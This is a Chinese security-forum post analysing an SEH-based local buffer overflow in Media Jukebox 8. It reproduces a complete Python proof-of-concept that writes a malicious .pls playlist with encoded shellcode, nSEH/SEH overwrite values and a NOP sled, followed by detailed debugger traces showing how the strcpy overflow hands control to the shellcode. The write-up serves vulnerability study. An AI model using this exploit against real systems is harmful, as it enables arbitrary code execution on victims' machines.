吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 12761|回复: 7
收起左侧

[漏洞分析] Media Jukebox 8 (.pls) Universal Local Buffer Exploit (SEH)

[复制链接]
wnagzihxain 发表于 2016-3-23 14:15
本帖最后由 wnagzihxain 于 2016-4-15 22:46 编辑

Platform: Windows XP sp3

拿到poc,关键还是看到nseh和seh那两个
[Python] 纯文本查看 复制代码
#!/usr/bin/python
#using = utf-8
 
shellcode = ("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9")
 
header = ("[playlist]\n")
header += ("NumberOfEntries=3\n\n")
header += ("File1=http://") # give a dummy header to trick the app
 
crash = ("\x41" * 262)  # overwrite the buffer at 262 bytes
nseh = ("\xeb\x06\x90\x90")  # short jump over SEH handler
seh = ("\x6f\x29\x01\x10")  # universal p/p/r from wnaspi32.dll
nops = ("\x90" * 5)  # nop sled for easy landing
junk = ("\xCC" * 500)  # gotta make the size seem real  ;)
 
exploit = header + crash + nseh + seh + nops + shellcode + junk
 
try:
 file = open('datudou.pls','w');
 file.write(exploit);
 file.close();
 print "[+] File created successfully: datudou.pls \n";
except:
 print "[-] Error cant write file to system\n";
看poc的形式大概是载入pls后溢出,然后就可以构造构造,执行shellcode了
运行media jukebox,小书包里掏出windbg,运行起来attach media jukebox

1.png

然后F5运行起来,不用下断点,这里只是先看看堆栈调用和溢出现场大概的情况
运行起来后点击File->open media file,选择我们生成的poc文件datudou.pls,选择完后就发现断下来了,回到windbg,整个界面是这样的

2.png

关键的信息
[Asm] 纯文本查看 复制代码
(198.294): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00e5042c ebx=000001a7 ecx=41414141 edx=00cb0608 esi=0012e4a0 edi=0012dd78
eip=005b99db esp=0012dd38 ebp=0012dd70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
Media_Jukebox+0x1b99db:
005b99db 8379f400        cmp     dword ptr [ecx-0Ch],0 ds:0023:41414135=????????
再看看堆栈调用,可以跟我一样直接把窗口固定在界面也可以使用kb命令
[Asm] 纯文本查看 复制代码
0:000> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
0012dd70 0055ca89 00e5042c 0012f42c 00e40114 Media_Jukebox+0x1b99db
0012dd98 0051bb13 00e5042c 0012f428 00000000 Media_Jukebox+0x15ca89
00000000 00000000 00000000 00000000 00000000 Media_Jukebox+0x11bb13
可以看到,0x0055ca89是执行完关键call的返回地址,所以接下来在这里下断是妥妥的
大概分析了一下,那就继续运行,然后就看到我们可爱的计算器弹出来了,是不是

3.png

小书包里掏出OD,吾爱OD,你值得拥有,传送门:http://down.52pojie.cn/Tools/Debuggers/
载入media jukebox,Ctrl+G来到0x0055ca89

4.png

很明显的返回地址上面就是刚刚windbg看到的堆栈调用的关键call,所以在这里下断
[Asm] 纯文本查看 复制代码
0055CA84 |.  E8 5D000000   call Media_Ju.0055CAE6
F9欢快的运行起来,中间会遇到几次被断下,在我们加载poc文件datudou.pls之前都F9过去就好了
如果你想手动定位的话,其实手动也是很好玩的,这样
F8单步到主函数入口,F7跟入
[Asm] 纯文本查看 复制代码
005A0122 |.  E8 79080100   call Media_Ju.005B09A0
F7跟入
[Asm] 纯文本查看 复制代码
005B09B0 |.  E8 30C60000   call Media_Ju.005BCFE5
到这里会完整的加载软件
[Asm] 纯文本查看 复制代码
005BD049 |.  FF50 54       call dword ptr ds:[eax+0x54]             ; Media_Ju.005BC7A7

--------------------这是手动定位华丽丽的分割线------------------------

然后加载poc文件datudou.pls就会发现断下来了

5.png

然后咋办?当然是继续F8单步走啊,然后就会有一个call执行了shellcode,弹出了可爱的计算器,就是这句
[Asm] 纯文本查看 复制代码
0055CDAE  |.  E8 18CC0500   call Media_Ju.005B99CB
先不急着重新载入,先到堆栈里翻翻,看看有没有什么好东西
[Asm] 纯文本查看 复制代码
0012E398   68CC0000  ..蘦
0012E39C   3A707474  ttp:
0012E3A0   41412F2F  //AA
0012E3A4   41414141  AAAA
0012E3A8   41414141  AAAA
0012E3AC   41414141  AAAA
0012E3B0   41414141  AAAA
0012E3B4   41414141  AAAA
0012E3B8   41414141  AAAA
0012E3BC   41414141  AAAA
0012E3C0   41414141  AAAA
0012E3C4   41414141  AAAA
0012E3C8   41414141  AAAA
0012E3CC   41414141  AAAA
0012E3D0   41414141  AAAA
0012E3D4   41414141  AAAA
这是部分,那我们就可以看到,溢出的开始位置大概是在0x0012E398的位置
好了,现在可以重新载入了
载入后先在堆栈Ctrl+G,跳到0x0012E398,然后右键锁定堆栈,同样在数据区也跳到
0x0012E398的位置
为什么要这样做?
因为我们要确定导致溢出代码的位置,并且看到为什么溢出

6.png

都做好后F7跟进去,然后F8单步走下去,同时注意堆栈里数据的变化
关键的地方在这
[Asm] 纯文本查看 复制代码
0055CC0E  |.  E8 AD350400   call Media_Ju.005A01C0
可以发现F8单步运行完后堆栈发生了溢出,来对比一下
执行前
[Asm] 纯文本查看 复制代码
0012E380  |00000000  ....
0012E384  |00E4FE78  x.
0012E388  |77D1882A  *堁w   返回到 user32.77D1882A 来自 user32.77D18600
0012E38C  |00000007  ...
0012E390  |00000018  ...
0012E394  |00000007  ...
0012E398  |00CC0000  ..?
0012E39C  |0012E194  斸.
0012E3A0  |00000000  ....
0012E3A4  |0012E3E0  嚆.
0012E3A8  |7C92E920   閽|   ntdll.7C92E920
0012E3AC  |7C9301E0  ?搢    ntdll.7C9301E0
0012E3B0  |FFFFFFFF  ????
0012E3B4  |7C9301DB  ?搢    返回到 ntdll.7C9301DB 来自 ntdll.7C92E906
0012E3B8  |0059F41F  -鬥.   返回到 Media_Ju.0059F41F 来自 ntdll.RtlAllocateHeap
0012E3BC  |00000000  ....
0012E3C0  |00000007  ...
0012E3C4  |00000010  ...
0012E3C8  |00000000  ....
0012E3CC  |00000000  ....
0012E3D0  |00000000  ....
0012E3D4  |00000000  ....
执行后
[Asm] 纯文本查看 复制代码
0012E380   00000000  ....
0012E384   00E4FE78  x.
0012E388   77D1882A  *堁w   返回到 user32.77D1882A 来自 user32.77D18600
0012E38C   00000007  ...
0012E390   00000018  ...
0012E394   00000007  ...
0012E398   68CC0000  ..蘦
0012E39C   3A707474  ttp:
0012E3A0   41412F2F  //AA
0012E3A4   41414141  AAAA
0012E3A8   41414141  AAAA
0012E3AC   41414141  AAAA
0012E3B0   41414141  AAAA
0012E3B4   41414141  AAAA
0012E3B8   41414141  AAAA
0012E3BC   41414141  AAAA
0012E3C0   41414141  AAAA
0012E3C4   41414141  AAAA
0012E3C8   41414141  AAAA
0012E3CC   41414141  AAAA
0012E3D0   41414141  AAAA
0012E3D4   41414141  AAAA
那么可以确定,溢出的代码肯定在这个call里,在这里下个断点,重新载入程序然后在这个位置F7跟进去

7.png

继续F8单步走,会发现程序进入了循环
[Asm] 纯文本查看 复制代码
005A0251  |> /8917          /mov dword ptr ds:[edi],edx
005A0253  |. |83C7 04       |add edi,0x4
005A0256  |> |BA FFFEFE7E    mov edx,0x7EFEFEFF
005A025B  |. |8B01          |mov eax,dword ptr ds:[ecx]
005A025D  |. |03D0          |add edx,eax
005A025F  |. |83F0 FF       |xor eax,-0x1
005A0262  |. |33C2          |xor eax,edx
005A0264  |. |8B11          |mov edx,dword ptr ds:[ecx]
005A0266  |. |83C1 04       |add ecx,0x4
005A0269  |. |A9 00010181   |test eax,0x81010100
005A026E  |.^ 74 E1         |je short Media_Ju.005A0251
而这个循环也就是溢出的原因
来看看SEH链
[Asm] 纯文本查看 复制代码
SEH 链用于  主线程
地址       SE处理程序
0012DD64   Media_Ju.005F6DF6
0012DD8C   Media_Ju.005F6D7D
0012E4A8   Media_Ju.005EF46C
0012F080   Media_Ju.005EF072
0012F778   Media_Ju.005EEAE9
0012F7A8   Media_Ju.005DAAFC
0012F974   Media_Ju.005DAA7D
0012F9C0   Media_Ju.005F58FE
0012FA34   Media_Ju.005FB160
0012FB18   Media_Ju.005FAAE4
0012FB98   Media_Ju.005FAA6C
0012FC44   user32.77D4048F
0012FE60   user32.77D4048F
0012FEC0   user32.77D4048F
0012FFB0   Media_Ju.005A0F0C
0012FFE0   kernel32.7C839A90
因为我们的溢出点在0x0012E398附近,所以往下最近的是
[Asm] 纯文本查看 复制代码
0012E4A8   Media_Ju.005EF46C
所以计算一下填充块的大小,nseh使用常用的\xEB\x06\x90\x90,seh使用\x6F\x29\x01\x10,
再美化美化也就差不多了
接下来来看看具体shellcode执行过程
这个call执行完会崩溃,所以下断F7跟入
[Asm] 纯文本查看 复制代码
0055CDAE  |.  E8 18CC0500   call Media_Ju.005B99CB
整个函数
[Asm] 纯文本查看 复制代码
005B99CB  /$  56            push esi
005B99CC  |.  57            push edi
005B99CD  |.  8B7C24 0C     mov edi,dword ptr ss:[esp+0xC]
005B99D1  |.  8BF1          mov esi,ecx
005B99D3  |.  8B0E          mov ecx,dword ptr ds:[esi]               ;  Media_Ju.00610B00
005B99D5  |.  8B07          mov eax,dword ptr ds:[edi]
005B99D7  |.  3BC8          cmp ecx,eax
005B99D9  |.  74 39         je short Media_Ju.005B9A14
005B99DB  |.  8379 F4 00    cmp dword ptr ds:[ecx-0xC],0x0
005B99DF  |.  7D 0B         jge short Media_Ju.005B99EC
005B99E1  |.  83C1 F4       add ecx,-0xC
005B99E4  |.  3B0D D8636B00 cmp ecx,dword ptr ds:[0x6B63D8]          ;  Media_Ju.006B63DC
005B99EA  |.  75 06         jnz short Media_Ju.005B99F2
005B99EC  |>  8378 F4 00    cmp dword ptr ds:[eax-0xC],0x0
005B99F0  |.  7D 0D         jge short Media_Ju.005B99FF
005B99F2  |>  50            push eax
005B99F3  |.  8BCE          mov ecx,esi
005B99F5  |.  FF70 F8       push dword ptr ds:[eax-0x8]
005B99F8  |.  E8 A1FFFFFF   call Media_Ju.005B999E
005B99FD  |.  EB 15         jmp short Media_Ju.005B9A14
005B99FF  |>  8BCE          mov ecx,esi
005B9A01  |.  E8 C3FDFFFF   call Media_Ju.005B97C9
005B9A06  |.  8B07          mov eax,dword ptr ds:[edi]
005B9A08  |.  8906          mov dword ptr ds:[esi],eax
005B9A0A  |.  83C0 F4       add eax,-0xC
005B9A0D  |.  50            push eax                                 ; /pVar = 0012DD78
005B9A0E  |.  FF15 BCD35F00 call dword ptr ds:[<&KERNEL32.Interlocke>; \InterlockedIncrement
005B9A14  |>  8BC6          mov eax,esi
005B9A16  |.  5F            pop edi                                  ;  Media_Ju.0055CDB3
005B9A17  |.  5E            pop esi                                  ;  Media_Ju.0055CDB3
005B9A18  \.  C2 0400       retn 0x4
F8单步到这
[Asm] 纯文本查看 复制代码
005B99DB  |.  8379 F4 00    cmp dword ptr ds:[ecx-0xC],0x0
单步后会跳到
[Asm] 纯文本查看 复制代码
7C92E480    8B1C24          mov ebx,dword ptr ss:[esp]
继续F8单步,到这跟入
[Asm] 纯文本查看 复制代码
7C92E485    E8 84C00100     call ntdll.7C94A50E
然后继续F8单步,在以下的区间内会循环
[Asm] 纯文本查看 复制代码
7C94A552    3B5D F8         cmp ebx,dword ptr ss:[ebp-0x8]
……
7C94A5CB   /0F85 89050000   jnz ntdll.7C94AB5A
……
7C94AB70  ^\0F85 DCF9FFFF   jnz ntdll.7C94A552
但是在第三次循环的时候会崩溃,崩溃在这里
[Asm] 纯文本查看 复制代码
7C94A5A8    E8 9A8CFDFF     call ntdll.7C923247
所以在手动循环到第3次的时候注意在这里跟入
然后继续单步,到这里跟入,因为就这么一个call
[Asm] 纯文本查看 复制代码
7C923275    E8 08000000     call ntdll.7C923282
跟入后继续单步,在这里跟入
[Asm] 纯文本查看 复制代码
7C9232A3    8B4D 18         mov ecx,dword ptr ss:[ebp+0x18]          ; wnaspi32.1001296F
7C9232A6    FFD1            call ecx
跟入后的代码段
[Asm] 纯文本查看 复制代码
1001296F    5B              pop ebx                                  ; ntdll.7C9232A8
10012970    5D              pop ebp                                  ; ntdll.7C9232A8
10012971    C3              retn
堆栈布局
[Asm] 纯文本查看 复制代码
0012D968   7C9232A8  返回到 ntdll.7C9232A8
0012D96C   0012DA50
0012D970   0012E4A8
程序触发异常后,会调用
[Asm] 纯文本查看 复制代码
0x0012E4AC   1001296F  SE处理程序
来处理,然而这里被我们修改成了pop pop retn,这三个指令作用就是弹出执行异常时压入的两个数据,然后retn到
[Asm] 纯文本查看 复制代码
0012E4A8   909006EB  指向下一个 SEH 记录的指针
这时jmp 0x6刚好就会跳到我们的nops,然后滑到shellcode,于是乎开始执行shellcode
来看看堆栈里关键的信息
[Asm] 纯文本查看 复制代码
0012E498   41414141
0012E49C   41414141
0012E4A0   41414141
0012E4A4   00000000
0012E4A8   909006EB  指向下一个 SEH 记录的指针
0012E4AC   1001296F  SE处理程序
0012E4B0   90909090
0012E4B4   31D5BA90
0012E4B8   CBDB3808
然后就是一个可爱的计算器弹出来了,还是一样的shellcode,还是一样的计算器

8.png

补充个东西,那个循环的代码段其实是strcpy,在IDA里面可以看出来的
9.png
最后呢,本文我同时也提交到Seebug和我的博客上了,如果大伙看到呢,并不是抄袭啊!!!!!!
如果有同学对二进制漏洞分析感兴趣的,可以多上Seebug看看
本文Seebug链接:还没有审核,不过快了https://www.seebug.org/vuldb/ssvid-13873
还有我的博客,博客主要是记录二进制学习笔记和一些漏洞分析的,比如看雪的0DAY2调试笔记http://www.wangzhixian.org/



免费评分

参与人数 1热心值 +1 收起 理由
吾爱丶小灰 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

头像被屏蔽
小棉袄 发表于 2016-3-23 14:32
路过支持下
Hmily 发表于 2016-3-30 10:14
机器猫 发表于 2016-3-30 12:40
Sound 发表于 2016-3-30 19:38
这个文章给你82分 不让你太骄傲 剩下的666
currwin 发表于 2016-3-31 20:07
这个文章写得好厉害,卧槽,给你82分,剩下的。。。
GG0 发表于 2016-11-13 00:19
路过支持
筱晗 发表于 2016-11-14 16:33
感谢楼主分享过程,学习看过程很有帮助。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 13:31

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表